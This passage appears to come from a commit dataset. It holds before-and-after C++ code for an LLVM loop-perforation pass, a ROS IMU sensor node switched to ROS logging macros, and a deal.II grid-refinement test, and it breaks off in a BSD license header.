blockers.begin();\n            i != blockers.end(); ++i) {\n        *log << \" * \" << instDesc(*module, *i) << \"\\n\";\n      }\n\n      if (!blockers.size()) {\n        *log << \"can perforate loop\\n\";\n        transformPass->relaxConfig[loopName] = 0;\n      }\n\n      return false;\n    }\n\n    \/\/ Transform a loop to skip iterations.\n    \/\/ The loop should already be validated as perforatable, but checks will be\n    \/\/ performed nonetheless to ensure safety.\n    void perforateLoop(Loop *loop, int logfactor, bool isForLike) {\n      \/\/ Check whether this loop is perforatable.\n      \/\/ First, check for required blocks.\n      if (!loop->getHeader() || !loop->getLoopLatch()\n          || !loop->getLoopPreheader() || !loop->getExitBlock()) {\n        errs() << \"malformed loop\\n\";\n        return;\n      }\n      \/\/ Next, make sure the header (condition block) ends with a body\/exit\n      \/\/ conditional branch.\n      BranchInst *condBranch = dyn_cast<BranchInst>(\n          loop->getHeader()->getTerminator()\n      );\n      if (!condBranch || condBranch->getNumSuccessors() != 2) {\n        errs() << \"malformed loop condition\\n\";\n        return;\n      }\n      BasicBlock *bodyBlock;\n      if (condBranch->getSuccessor(0) == loop->getExitBlock()) {\n        bodyBlock = condBranch->getSuccessor(1);\n      } else if (condBranch->getSuccessor(1) == loop->getExitBlock()) {\n        bodyBlock = condBranch->getSuccessor(0);\n      } else {\n        errs() << \"loop condition does not exit\\n\";\n        return;\n      }\n\n      \/\/ Get the shortcut for the destination. In for-like loop perforation, we\n      \/\/ shortcut to the latch (increment block). In while-like perforation, we\n      \/\/ jump to the header (condition block).\n      BasicBlock *shortcutDest;\n      if (isForLike) {\n        shortcutDest = loop->getLoopLatch();\n      } else {\n        shortcutDest = loop->getHeader();\n      }\n\n      IRBuilder<> builder(module->getContext());\n      Value *result;\n\n      \/\/ Allocate stack space for the counter.\n      \/\/ LLVM \"alloca\" instructions go in the function's entry block. Otherwise,\n      \/\/ they have to adjust the frame size dynamically (and, in my experience,\n      \/\/ can actually segfault!). And we only want one of these per static loop\n      \/\/ anyway.\n      builder.SetInsertPoint(\n          loop->getLoopPreheader()->getParent()->getEntryBlock().begin()\n      );\n\n      IntegerType *nativeInt = getNativeIntegerType();\n      AllocaInst *counterAlloca = builder.CreateAlloca(\n          nativeInt,\n          0,\n          \"accept_counter\"\n      );\n\n      \/\/ Initialize the counter in the preheader.\n      builder.SetInsertPoint(loop->getLoopPreheader()->getTerminator());\n      builder.CreateStore(\n          ConstantInt::get(nativeInt, 0, false),\n          counterAlloca\n      );\n\n      \/\/ Increment the counter in the latch.\n      builder.SetInsertPoint(loop->getLoopLatch()->getTerminator());\n      result = builder.CreateLoad(\n          counterAlloca,\n          \"accept_tmp\"\n      );\n      result = builder.CreateAdd(\n          result,\n          ConstantInt::get(nativeInt, 1, false),\n          \"accept_inc\"\n      );\n      builder.CreateStore(\n          result,\n          counterAlloca\n      );\n\n      \/\/ Get the first body block.\n\n      \/\/ Check the counter before the loop's body.\n      BasicBlock *checkBlock = BasicBlock::Create(\n          module->getContext(),\n          \"accept_cond\",\n          bodyBlock->getParent(),\n          bodyBlock\n      );\n      builder.SetInsertPoint(checkBlock);\n      result = builder.CreateLoad(\n          counterAlloca,\n          \"accept_tmp\"\n      );\n      \/\/ Check whether the low n bits of the counter are zero.\n      result = builder.CreateTrunc(\n          result,\n          Type::getIntNTy(module->getContext(), logfactor),\n          \"accept_trunc\"\n      );\n      result = builder.CreateIsNull(\n          result,\n          \"accept_cmp\"\n      );\n      result = builder.CreateCondBr(\n          result,\n          bodyBlock,\n          loop->getLoopLatch()\n      );\n\n      \/\/ Change the condition block to point to our new condition\n      \/\/ instead of the body.\n      condBranch->setSuccessor(0, checkBlock);\n\n      \/\/ Add block to the loop structure.\n      loop->addBasicBlockToLoop(checkBlock, LI->getBase());\n    }\n\n  };\n}\n\nchar LoopPerfPass::ID = 0;\nLoopPass *llvm::createLoopPerfPass() { return new LoopPerfPass(); }\n\n<|endoftext|>"}
{"text":"<commit_before>#include <ros\/ros.h>\n\n#include <geometry_msgs\/Twist.h>\n\n#include <tf\/transform_broadcaster.h>\n\n#include <boost\/bind.hpp>\n#include <boost\/lambda\/lambda.hpp>\n\n#include <sys\/time.h>\n\n#include \"imu\/bool_msg.h\"\n#include \"Comm.h\"\n\n#include <sensor_msgs\/Imu.h>\n\ninline float deg_to_rad(float deg) {\n\t\/\/ 180度リミッター（Z軸のみ）\n\treturn deg\/180.0f*M_PI;\n}\n\/\/ 角度ごとにURGのデータを送信するためのサービス\n\/\/ 要求があったときに，URGのデータを別のトピックに送信するだけ\nclass IMU {\n\tprivate :\n\t\tros::Publisher imu_pub_;\n\t\tros::ServiceServer reset_service_;\n\t\tros::ServiceServer carivrate_service_;\n\t\tfloat geta;\n\t\tCComm usb;\n        double gyro_unit;\n\t\tdouble acc_unit;\n\t\tdouble init_angle;\n\t\tstd::string port_name;\n\t\tint   baudrate;\n\t\tros::Rate loop_rate;\n\t\tint  z_axis_dir_;\n\n\tpublic:\n\t\tbool resetCallback(imu::bool_msg::Request  &req, \n\t\t\t\timu::bool_msg::Response &res) \n\t\t{ \n\t\t\tchar command[2] = {0};\n\t\t\tsprintf(command, \"0\");\n\t\t\tusb.Send(command, strlen(command));\t\t\t\/\/送信\n\t\t\tsleep(1);\n\t\t\tstd::cout << \"Gyro 0 Reset\" << std::endl;\n\t\t\treturn true;\n\t\t}\n\t\tbool caribrateCallback(imu::bool_msg::Request  &req, \n\t\t\t\timu::bool_msg::Response &res) \n\t\t{ \n\t\t\tchar command[2] = {0};\n\t\t\tstd::cout << \"Calibration\" << std::endl;\n\t\t\tsprintf(command, \"a\");\n\t\t\tusb.Send(command, strlen(command));\n\t\t\tstd::cout << \"Caribrate start \";\n\t\t\tfor(int i=0; i<8; ++i) {\n\t\t\t\tstd::cout << \". \";\n\t\t\t\tsleep(1);\n\t\t\t}\n\t\t\tstd::cout << \"finish.\" << std::endl;\n\t\t\treturn true;\n\t\t}\n\t\tIMU(ros::NodeHandle node) :\n\t\t\timu_pub_(node.advertise<sensor_msgs::Imu>(\"imu\", 1000)),\n\t\t\treset_service_(node.advertiseService(\"imu_reset\", &IMU::resetCallback, this)), \n\t\t\tcarivrate_service_(node.advertiseService(\"imu_caribrate\", &IMU::caribrateCallback, this)),\n\t\t\tgeta(0), gyro_unit(0.00836181640625), acc_unit(0.8), init_angle(0.0),\n\t\t\tport_name(\"\/dev\/ttyUSB0\"), baudrate(115200), loop_rate(1000), z_axis_dir_(-1)\n\t{\n        ros::NodeHandle private_nh(\"~\");\n        private_nh.getParam(\"port_name\", port_name);\n        private_nh.param<double>(\"gyro_unit\", gyro_unit, gyro_unit);\n        private_nh.param<double>(\"acc_unit\", acc_unit, acc_unit);\n        private_nh.param<int>(\"baud_rate\", baudrate, baudrate);\n        private_nh.param<double>(\"init_angle\", init_angle, init_angle);\n        private_nh.param<int>(\"z_axis_dir\", z_axis_dir_, z_axis_dir_);\n    }\n\t\tbool init() {\n\t\t\tchar command[2] = {0};\n\t\t\tchar command2[101] = {0};\n\t\t\t\/\/シリアルポートオープン \n\t\t\tchar* s = new char[port_name.length()+1];\n\t\t\tstrcpy(s, port_name.c_str()); \n\t\t\tif (!usb.Open((char*)s, baudrate)) {\n\t\t\t\tstd::cerr << \"open error\" << std::endl;\n\t\t\t\tdelete [] s;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tdelete [] s;\n\t\t\tstd::cout << \"device open success\" << std::endl;\n\t\t\tsleep(1);\n\t\t\t\/\/コンフィギュレーション キャリブレーション\n\t\t\t\/\/ if(m_calibration == true){\n\t\t\tstd::cout << \"Calibration\" << std::endl;\n\t\t\tsprintf(command, \"a\");\n\t\t\tusb.Send(command, strlen(command));\n\t\t\tstd::cout << \"send = \" << command << std::endl;\n\t\t\tfor(int i=0; i<8; ++i) {\n\t\t\t\tprintf(\". \");\n\t\t\t\tsleep(1);\n\t\t\t}\n\t\t\t\/\/ }\n\t\t\t\/\/コンフィギュレーション リセット\n\t\t\t\/\/ if(m_reset == true){\n\t\t\tsprintf(command, \"0\");\n\t\t\tusb.Send(command, strlen(command));\t\t\t\/\/送信\n\t\t\tstd::cout << \"send = \" << command << std::endl;\n\t\t\tsleep(1);\n\t\t\tstd::cout << \"Gyro 0 Reset\" << std::endl;\n\t\t\t\/\/ }\n\t\t\tgeta = 0;\n\t\t\tusb.Recv(command2, 100);\t\/\/空読み バッファクリアが効かない？\n\t\t\tusb.ClearRecvBuf();\t\t\/\/バッファクリア\n\t\t\treturn true;\n\t\t}\n\t\tvoid run() {\n\t\t\twhile (ros::ok()) {\n\t\t\t\tchar command[2] = {0};\n\t\t\t\tchar command2[50] = {0};\n\t\t\t\tchar temp[6];\n\t\t\t\tconst float temp_unit = 0.00565;\n\t\t\t\tfloat tempdata;\n\t\t\t\t\/\/コマンド送信\n\t\t\t\t\/\/oコマンドでジャイロ3軸、加速度3軸、温度が出力される\n\t\t\t\tsprintf(command, \"o\");\n\t\t\t\tusb.Send(command, strlen(command));\t\t\t\/\/送信\n\t\t\t\tusleep(30000);\n\t\t\t\t\/\/結果受信\n\t\t\t\tusb.Recv(command2, 50);\t\t\t\/\/受信\n\t\t\t\tstd::cout << \"recv = \" << command2 << std::endl;\n\t\t\t\tgeometry_msgs::Twist output_data;\n\t\t\t\t\/\/ジャイロ読み込み\n\t\t\t\tmemmove(temp,command2,4);\n\t\t\t\toutput_data.angular.x = ((short)strtol(temp, NULL, 16)) * gyro_unit;\n\t\t\t\tmemmove(temp,command2+4,4);\n\t\t\t\toutput_data.angular.y = ((short)strtol(temp, NULL, 16)) * gyro_unit;\n\t\t\t\tmemmove(temp,command2+8,4);\n\t\t\t\toutput_data.angular.z = ((short)strtol(temp, NULL, 16)) * gyro_unit * z_axis_dir_;\n\t\t\t\t\/\/加速度読み込み\n\t\t\t\tmemmove(temp,command2+12,4);\n\t\t\t\toutput_data.linear.x = ((short)strtol(temp, NULL, 16)) * acc_unit;\n\t\t\t\tmemmove(temp,command2+16,4);\n\t\t\t\toutput_data.linear.y = ((short)strtol(temp, NULL, 16)) * acc_unit;\n\t\t\t\tmemmove(temp,command2+20,4);\n\t\t\t\toutput_data.linear.z = init_angle + ((short)strtol(temp, NULL, 16)) * acc_unit ;\n\t\t\t\t\/\/while (output_data.angular.z < -180) \n\t\t\t\t\/\/\toutput_data.angular.z += 180;\n\t\t\t\t\/\/while (output_data.angular.z > 180) \n\t\t\t\t\/\/\toutput_data.angular.z -= 180;\n\t\t\t\t\/\/温度読み込み\n\t\t\t\tmemmove(temp,command2+24,4);\n\t\t\t\ttempdata = ((short)strtol(temp, NULL, 16)) * temp_unit + 25.0;\n\t\t\t\t\/\/ 出力データの表示\n\t\t\t\tstd::cout << \"ang_x = \" << output_data.angular.x\n\t\t\t\t\t<< \"ang_y = \" << output_data.angular.y\n\t\t\t\t\t<< \"ang_z = \" << output_data.angular.z\n\t\t\t\t\t<< \"ang_z_orig = \" << output_data.angular.z  << std::endl;\n\t\t\t\tstd::cout << \"acc_x = \" << output_data.linear.x\n\t\t\t\t\t<< \"acc_y = \" << output_data.linear.y\n\t\t\t\t\t<< \"acc_z = \" << output_data.linear.z << std::endl;\n\t\t\t\tstd::cout << \"temp  = \" << tempdata << std::endl;\n\t\t\t\toutput_data.angular.x = deg_to_rad(output_data.angular.x);\n\t\t\t\toutput_data.angular.y = deg_to_rad(output_data.angular.y);\n\t\t\t\toutput_data.angular.z = deg_to_rad(output_data.angular.z);\n\t\t\t\t\n                sensor_msgs::Imu output_data_imu;\n                output_data_imu.header.stamp = ros::Time::now();\n                output_data_imu.orientation = tf::createQuaternionMsgFromYaw(output_data.angular.z);\n                \/*\n                tf::quaternionTFToMsg(tf::Quaternion(\n                                        output_data.angular.x, \n                                        output_data.angular.y, \n                                        output_data.angular.z\n                                     ), \n                                     output_data_imu.orientation\n                );\n                *\/\n\n                output_data_imu.angular_velocity.x = output_data.angular.x;\n                output_data_imu.angular_velocity.y = output_data.angular.y;\n                output_data_imu.angular_velocity.z = output_data.angular.z;\n                \n                output_data_imu.linear_acceleration.x = output_data.linear.x;\n                output_data_imu.linear_acceleration.y = output_data.linear.y;\n                output_data_imu.linear_acceleration.z = output_data.linear.z;\n\n\t\t\t\timu_pub_.publish(output_data_imu);\n\t\t\t\t\n                ros::spinOnce();\n\t\t\t\tloop_rate.sleep();\n\t\t\t}\n\t\t}\n};\n\nint main(int argc, char * argv[])\n{\n\tros::init(argc, argv, \"imu\");\n\tros::NodeHandle node;\n\tIMU imu(node);\n\tif(!imu.init()) return 1;\n\timu.run();\n\treturn 0;\n}\n<commit_msg>Modified to use the ROS_INFO macro<commit_after>#include <ros\/ros.h>\n\n#include <geometry_msgs\/Twist.h>\n\n#include <tf\/transform_broadcaster.h>\n\n#include <boost\/bind.hpp>\n#include <boost\/lambda\/lambda.hpp>\n\n#include <sys\/time.h>\n\n#include \"imu\/bool_msg.h\"\n#include \"Comm.h\"\n\n#include <sensor_msgs\/Imu.h>\n\ninline float deg_to_rad(float deg) {\n\t\/\/ 180度リミッター（Z軸のみ）\n\treturn deg\/180.0f*M_PI;\n}\n\/\/ 角度ごとにURGのデータを送信するためのサービス\n\/\/ 要求があったときに，URGのデータを別のトピックに送信するだけ\nclass IMU {\n\tprivate :\n\t\tros::Publisher imu_pub_;\n\t\tros::ServiceServer reset_service_;\n\t\tros::ServiceServer carivrate_service_;\n\t\tfloat geta;\n\t\tCComm usb;\n        double gyro_unit;\n\t\tdouble acc_unit;\n\t\tdouble init_angle;\n\t\tstd::string port_name;\n\t\tint   baudrate;\n\t\tros::Rate loop_rate;\n\t\tint  z_axis_dir_;\n\n\tpublic:\n\t\tbool resetCallback(imu::bool_msg::Request  &req, \n\t\t\t\timu::bool_msg::Response &res) \n\t\t{ \n\t\t\tchar command[2] = {0};\n\t\t\tsprintf(command, \"0\");\n\t\t\tusb.Send(command, strlen(command));\t\t\t\/\/送信\n\t\t\tsleep(1);\n\t\t\tstd::cout << \"Gyro 0 Reset\" << std::endl;\n\t\t\treturn true;\n\t\t}\n\t\tbool caribrateCallback(imu::bool_msg::Request  &req, \n\t\t\t\timu::bool_msg::Response &res) \n\t\t{ \n\t\t\tchar command[2] = {0};\n\t\t\tstd::cout << \"Calibration\" << std::endl;\n\t\t\tsprintf(command, \"a\");\n\t\t\tusb.Send(command, strlen(command));\n\t\t\tstd::cout << \"Caribrate start \";\n\t\t\tfor(int i=0; i<8; ++i) {\n\t\t\t\tstd::cout << \". \";\n\t\t\t\tsleep(1);\n\t\t\t}\n\t\t\tstd::cout << \"finish.\" << std::endl;\n\t\t\treturn true;\n\t\t}\n\t\tIMU(ros::NodeHandle node) :\n\t\t\timu_pub_(node.advertise<sensor_msgs::Imu>(\"imu\", 1000)),\n\t\t\treset_service_(node.advertiseService(\"imu_reset\", &IMU::resetCallback, this)), \n\t\t\tcarivrate_service_(node.advertiseService(\"imu_caribrate\", &IMU::caribrateCallback, this)),\n\t\t\tgeta(0), gyro_unit(0.00836181640625), acc_unit(0.8), init_angle(0.0),\n\t\t\tport_name(\"\/dev\/ttyUSB0\"), baudrate(115200), loop_rate(1000), z_axis_dir_(-1)\n\t{\n        ros::NodeHandle private_nh(\"~\");\n        private_nh.getParam(\"port_name\", port_name);\n        private_nh.param<double>(\"gyro_unit\", gyro_unit, gyro_unit);\n        private_nh.param<double>(\"acc_unit\", acc_unit, acc_unit);\n        private_nh.param<int>(\"baud_rate\", baudrate, baudrate);\n        private_nh.param<double>(\"init_angle\", init_angle, init_angle);\n        private_nh.param<int>(\"z_axis_dir\", z_axis_dir_, z_axis_dir_);\n    }\n\t\tbool init() {\n\t\t\tchar command[2] = {0};\n\t\t\tchar command2[101] = {0};\n\t\t\t\/\/シリアルポートオープン \n\t\t\tchar* s = new char[port_name.length()+1];\n\t\t\tstrcpy(s, port_name.c_str()); \n\t\t\tif (!usb.Open((char*)s, baudrate)) {\n\t\t\t\tstd::cerr << \"open error\" << std::endl;\n\t\t\t\tdelete [] s;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tdelete [] s;\n\t\t\tstd::cout << \"device open success\" << std::endl;\n\t\t\tsleep(1);\n\t\t\t\/\/コンフィギュレーション キャリブレーション\n\t\t\t\/\/ if(m_calibration == true){\n\t\t\tstd::cout << \"Calibration\" << std::endl;\n\t\t\tsprintf(command, \"a\");\n\t\t\tusb.Send(command, strlen(command));\n\t\t\tstd::cout << \"send = \" << command << std::endl;\n\t\t\tfor(int i=0; i<8; ++i) {\n\t\t\t\tprintf(\". \");\n\t\t\t\tsleep(1);\n\t\t\t}\n\t\t\t\/\/ }\n\t\t\t\/\/コンフィギュレーション リセット\n\t\t\t\/\/ if(m_reset == true){\n\t\t\tsprintf(command, \"0\");\n\t\t\tusb.Send(command, strlen(command));\t\t\t\/\/送信\n\t\t\tstd::cout << \"send = \" << command << std::endl;\n\t\t\tsleep(1);\n\t\t\tstd::cout << \"Gyro 0 Reset\" << std::endl;\n\t\t\t\/\/ }\n\t\t\tgeta = 0;\n\t\t\tusb.Recv(command2, 100);\t\/\/空読み バッファクリアが効かない？\n\t\t\tusb.ClearRecvBuf();\t\t\/\/バッファクリア\n\t\t\treturn true;\n\t\t}\n\t\tvoid run() {\n\t\t\twhile (ros::ok()) {\n\t\t\t\tchar command[2] = {0};\n\t\t\t\tchar command2[50] = {0};\n\t\t\t\tchar temp[6];\n\t\t\t\tconst float temp_unit = 0.00565;\n\t\t\t\tfloat tempdata;\n\t\t\t\t\/\/コマンド送信\n\t\t\t\t\/\/oコマンドでジャイロ3軸、加速度3軸、温度が出力される\n\t\t\t\tsprintf(command, \"o\");\n\t\t\t\tusb.Send(command, strlen(command));\t\t\t\/\/送信\n\t\t\t\tusleep(30000);\n\t\t\t\t\/\/結果受信\n\t\t\t\tusb.Recv(command2, 50);\t\t\t\/\/受信\n\t\t\t\tROS_INFO_STREAM(\"recv = \" << command2);\n\t\t\t\tsensor_msgs::Imu output_data;\n                output_data.header.stamp = ros::Time::now();\n\n                memmove(temp,command2,4);\n\t\t\t\tdouble angular_x_deg = ((short)strtol(temp, NULL, 16)) * gyro_unit;\n\t\t\t\tmemmove(temp,command2+4,4);\n\t\t\t\tdouble angular_y_deg = ((short)strtol(temp, NULL, 16)) * gyro_unit;\n\t\t\t\tmemmove(temp,command2+8,4);\n\t\t\t\tdouble angular_z_deg = ((short)strtol(temp, NULL, 16)) * gyro_unit * z_axis_dir_;\n                \n                ROS_INFO_STREAM(\"x_deg = \" << angular_x_deg);\n                ROS_INFO_STREAM(\"y_deg = \" << angular_y_deg);\n                ROS_INFO_STREAM(\"z_deg = \" << angular_z_deg);\n                \n                output_data.orientation = tf::createQuaternionMsgFromYaw(deg_to_rad(angular_z_deg));\n\n                \/\/加速度読み込み\n\t\t\t\tmemmove(temp,command2+12,4);\n\t\t\t\toutput_data.linear_acceleration.x = ((short)strtol(temp, NULL, 16)) * acc_unit;\n\t\t\t\tmemmove(temp,command2+16,4);\n\t\t\t\toutput_data.linear_acceleration.y = ((short)strtol(temp, NULL, 16)) * acc_unit;\n\t\t\t\tmemmove(temp,command2+20,4);\n\t\t\t\toutput_data.linear_acceleration.z = init_angle + ((short)strtol(temp, NULL, 16)) * acc_unit ;\n\t\t\t\t\n\t\t\t\tmemmove(temp,command2+24,4);\n\t\t\t\ttempdata = ((short)strtol(temp, NULL, 16)) * temp_unit + 25.0;\n\t\t\t\tROS_INFO_STREAM(\"temp = \" << tempdata);\n                \n\t\t\t\timu_pub_.publish(output_data);\n\t\t\t\t\n                ros::spinOnce();\n\t\t\t\tloop_rate.sleep();\n\t\t\t}\n\t\t}\n};\n\nint main(int argc, char * argv[])\n{\n\tros::init(argc, argv, \"imu\");\n\tros::NodeHandle node;\n\tIMU imu(node);\n\tif(!imu.init()) return 1;\n\timu.run();\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/----------------------------  distorted_cells_04.cc  ---------------------------\n\/\/    $Id$\n\/\/    Version: $Name$\n\/\/\n\/\/    Copyright (C) 2003, 2004, 2005, 2009, 2010 by the deal.II authors\n\/\/\n\/\/    This file is subject to QPL and may not be  distributed\n\/\/    without copyright and license information. Please refer\n\/\/    to the file deal.II\/doc\/license.html for the  text  and\n\/\/    further information on this license.\n\/\/\n\/\/----------------------------  distorted_cells_04.cc  ---------------------------\n\n\n\/\/ like _03, but catch the exception and pass it to GridTools::fix_up_distorted_child_cells\n\n#include \"..\/tests.h\"\n#include <base\/logstream.h>\n#include <base\/quadrature_lib.h>\n#include <grid\/tria.h>\n#include <grid\/tria_accessor.h>\n#include <grid\/tria_iterator.h>\n#include <grid\/grid_reordering.h>\n#include <grid\/grid_tools.h>\n#include <grid\/grid_generator.h>\n#include <grid\/tria_boundary.h>\n#include <grid\/grid_out.h>\n#include <dofs\/dof_handler.h>\n#include <fe\/fe_q.h>\n#include <fe\/fe_values.h>\n\n#include <fstream>\n\n\ntemplate <int dim>\nclass MyBoundary : public Boundary<dim>\n{\n    virtual Point<dim>\n    get_new_point_on_line (const typename Triangulation<dim>::line_iterator &line) const\n      {\n\tdeallog << \"Finding point between \"\n\t\t<< line->vertex(0) << \" and \"\n\t\t<< line->vertex(1) << std::endl;\n\n\t\t\t\t\t \/\/ in 2d, find a point that\n\t\t\t\t\t \/\/ lies on the opposite side\n\t\t\t\t\t \/\/ of the quad. in 3d, choose\n\t\t\t\t\t \/\/ the midpoint of the edge\n\tif (dim == 2)\n\t  return Point<dim>(0,0.75);\n\telse\n\t  return (line->vertex(0) + line->vertex(1)) \/ 2;\n      }\n\n    virtual Point<dim>\n    get_new_point_on_quad (const typename Triangulation<dim>::quad_iterator &quad) const\n      {\n\tdeallog << \"Finding point between \"\n\t\t<< quad->vertex(0) << \" and \"\n\t\t<< quad->vertex(1) << \" and \"\n\t\t<< quad->vertex(2) << \" and \"\n\t\t<< quad->vertex(3) << std::endl;\n\n\treturn Point<dim>(0,0,.75);\n      }\n\n    Point<dim>\n    project_to_surface (const typename Triangulation<dim>::line_iterator &line,\n\t\t\tconst Point<dim> &p) const\n      {\n\tdeallog << \"Projecting line point \" << p << std::endl;\n\n\tif (dim == 2)\n\t  return Point<dim>(p[0], 0.75-1.75*std::fabs(p[0]));\n\telse\n\t  return p;\n      }\n\n    Point<dim>\n    project_to_surface (const typename Triangulation<dim>::quad_iterator &line,\n\t\t\tconst Point<dim> &p) const\n      {\n\tdeallog << \"Projecting quad point \" << p << std::endl;\n\n\tAssert (dim == 3, ExcInternalError());\n\n\treturn Point<dim>(p[0], p[1],\n\t\t\t  0.75-1.75*std::max(std::fabs(p[0]),\n\t\t\t\t\t     std::fabs(p[1])));\n      }\n};\n\n\n\ntemplate <int dim>\nvoid check ()\n{\n  MyBoundary<dim> my_boundary;\n\n\t\t\t\t   \/\/ create a single square\/cube\n  Triangulation<dim> coarse_grid (Triangulation<dim>::none, true);\n  GridGenerator::hyper_cube (coarse_grid, -1, 1);\n\n\t\t\t\t   \/\/ set bottom face to use MyBoundary\n  for (unsigned int f=0; f<GeometryInfo<dim>::faces_per_cell; ++f)\n    if (coarse_grid.begin_active()->face(f)->center()[dim-1] == -1)\n      coarse_grid.begin_active()->face(f)->set_boundary_indicator (1);\n  coarse_grid.set_boundary (1, my_boundary);\n\n\t\t\t\t   \/\/ now try to refine this one\n\t\t\t\t   \/\/ cell. we should get an exception\n  try\n    {\n      coarse_grid.begin_active()->set_refine_flag ();\n      coarse_grid.execute_coarsening_and_refinement ();\n    }\n  catch (typename Triangulation<dim>::DistortedCellList &dcv)\n    {\n      typename Triangulation<dim>::DistortedCellList\n\tsubset = GridTools::fix_up_distorted_child_cells (dcv,\n\t\t\t\t\t\t\t  coarse_grid);\n      Assert (subset.distorted_cells.size() == 0,\n\t      ExcInternalError());\n    }\n\n  Assert (coarse_grid.n_levels() == 2, ExcInternalError());\n  Assert (coarse_grid.n_active_cells() == 1<<dim, ExcInternalError());\n\n\t\t\t\t   \/\/ output the coordinates of the\n\t\t\t\t   \/\/ child cells\n  GridOut().write_gnuplot (coarse_grid, deallog.get_file_stream());\n}\n\n\nint main ()\n{\n  std::ofstream logfile(\"distorted_cells_04\/output\");\n  deallog.attach(logfile);\n  deallog.depth_console(0);\n  deallog.threshold_double(1.e-8);\n\n  check<2> ();\n  check<3> ();\n}\n\n\n\n<commit_msg>Avoid warning message about hidden virtual function. Remove name of unused argument.<commit_after>\/\/----------------------------  distorted_cells_04.cc  ---------------------------\n\/\/    $Id$\n\/\/    Version: $Name$\n\/\/\n\/\/    Copyright (C) 2003, 2004, 2005, 2009, 2010 by the deal.II authors\n\/\/\n\/\/    This file is subject to QPL and may not be  distributed\n\/\/    without copyright and license information. Please refer\n\/\/    to the file deal.II\/doc\/license.html for the  text  and\n\/\/    further information on this license.\n\/\/\n\/\/----------------------------  distorted_cells_04.cc  ---------------------------\n\n\n\/\/ like _03, but catch the exception and pass it to GridTools::fix_up_distorted_child_cells\n\n#include \"..\/tests.h\"\n#include <base\/logstream.h>\n#include <base\/quadrature_lib.h>\n#include <grid\/tria.h>\n#include <grid\/tria_accessor.h>\n#include <grid\/tria_iterator.h>\n#include <grid\/grid_reordering.h>\n#include <grid\/grid_tools.h>\n#include <grid\/grid_generator.h>\n#include <grid\/tria_boundary.h>\n#include <grid\/grid_out.h>\n#include <dofs\/dof_handler.h>\n#include <fe\/fe_q.h>\n#include <fe\/fe_values.h>\n\n#include <fstream>\n\n\ntemplate <int dim>\nclass MyBoundary : public Boundary<dim>\n{\n    virtual Point<dim>\n    get_new_point_on_line (const typename Triangulation<dim>::line_iterator &line) const\n      {\n\tdeallog << \"Finding point between \"\n\t\t<< line->vertex(0) << \" and \"\n\t\t<< line->vertex(1) << std::endl;\n\n\t\t\t\t\t \/\/ in 2d, find a point that\n\t\t\t\t\t \/\/ lies on the opposite side\n\t\t\t\t\t \/\/ of the quad. in 3d, choose\n\t\t\t\t\t \/\/ the midpoint of the edge\n\tif (dim == 2)\n\t  return Point<dim>(0,0.75);\n\telse\n\t  return (line->vertex(0) + line->vertex(1)) \/ 2;\n      }\n\n    virtual Point<dim>\n    get_new_point_on_quad (const typename Triangulation<dim>::quad_iterator &quad) const\n      {\n\tdeallog << \"Finding point between \"\n\t\t<< quad->vertex(0) << \" and \"\n\t\t<< quad->vertex(1) << \" and \"\n\t\t<< quad->vertex(2) << \" and \"\n\t\t<< quad->vertex(3) << std::endl;\n\n\treturn Point<dim>(0,0,.75);\n      }\n\n    virtual\n    Point<dim>\n    project_to_surface (const typename Triangulation<dim>::line_iterator &,\n\t\t\tconst Point<dim> &p) const\n      {\n\tdeallog << \"Projecting line point \" << p << std::endl;\n\n\tif (dim == 2)\n\t  return Point<dim>(p[0], 0.75-1.75*std::fabs(p[0]));\n\telse\n\t  return p;\n      }\n\n    virtual\n    Point<dim>\n    project_to_surface (const typename Triangulation<dim>::quad_iterator &,\n\t\t\tconst Point<dim> &p) const\n      {\n\tdeallog << \"Projecting quad point \" << p << std::endl;\n\n\tAssert (dim == 3, ExcInternalError());\n\n\treturn Point<dim>(p[0], p[1],\n\t\t\t  0.75-1.75*std::max(std::fabs(p[0]),\n\t\t\t\t\t     std::fabs(p[1])));\n      }\n\n    virtual\n    Point<dim>\n    project_to_surface (const typename Triangulation<dim>::hex_iterator &,\n\t\t\tconst Point<dim> &) const\n      {\n\tAssert (false, ExcInternalError());\n\treturn Point<dim>();\n      }\n};\n\n\n\ntemplate <int dim>\nvoid check ()\n{\n  MyBoundary<dim> my_boundary;\n\n\t\t\t\t   \/\/ create a single square\/cube\n  Triangulation<dim> coarse_grid (Triangulation<dim>::none, true);\n  GridGenerator::hyper_cube (coarse_grid, -1, 1);\n\n\t\t\t\t   \/\/ set bottom face to use MyBoundary\n  for (unsigned int f=0; f<GeometryInfo<dim>::faces_per_cell; ++f)\n    if (coarse_grid.begin_active()->face(f)->center()[dim-1] == -1)\n      coarse_grid.begin_active()->face(f)->set_boundary_indicator (1);\n  coarse_grid.set_boundary (1, my_boundary);\n\n\t\t\t\t   \/\/ now try to refine this one\n\t\t\t\t   \/\/ cell. we should get an exception\n  try\n    {\n      coarse_grid.begin_active()->set_refine_flag ();\n      coarse_grid.execute_coarsening_and_refinement ();\n    }\n  catch (typename Triangulation<dim>::DistortedCellList &dcv)\n    {\n      typename Triangulation<dim>::DistortedCellList\n\tsubset = GridTools::fix_up_distorted_child_cells (dcv,\n\t\t\t\t\t\t\t  coarse_grid);\n      Assert (subset.distorted_cells.size() == 0,\n\t      ExcInternalError());\n    }\n\n  Assert (coarse_grid.n_levels() == 2, ExcInternalError());\n  Assert (coarse_grid.n_active_cells() == 1<<dim, ExcInternalError());\n\n\t\t\t\t   \/\/ output the coordinates of the\n\t\t\t\t   \/\/ child cells\n  GridOut().write_gnuplot (coarse_grid, deallog.get_file_stream());\n}\n\n\nint main ()\n{\n  std::ofstream logfile(\"distorted_cells_04\/output\");\n  deallog.attach(logfile);\n  deallog.depth_console(0);\n  deallog.threshold_double(1.e-8);\n\n  check<2> ();\n  check<3> ();\n}\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2006-2013, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS 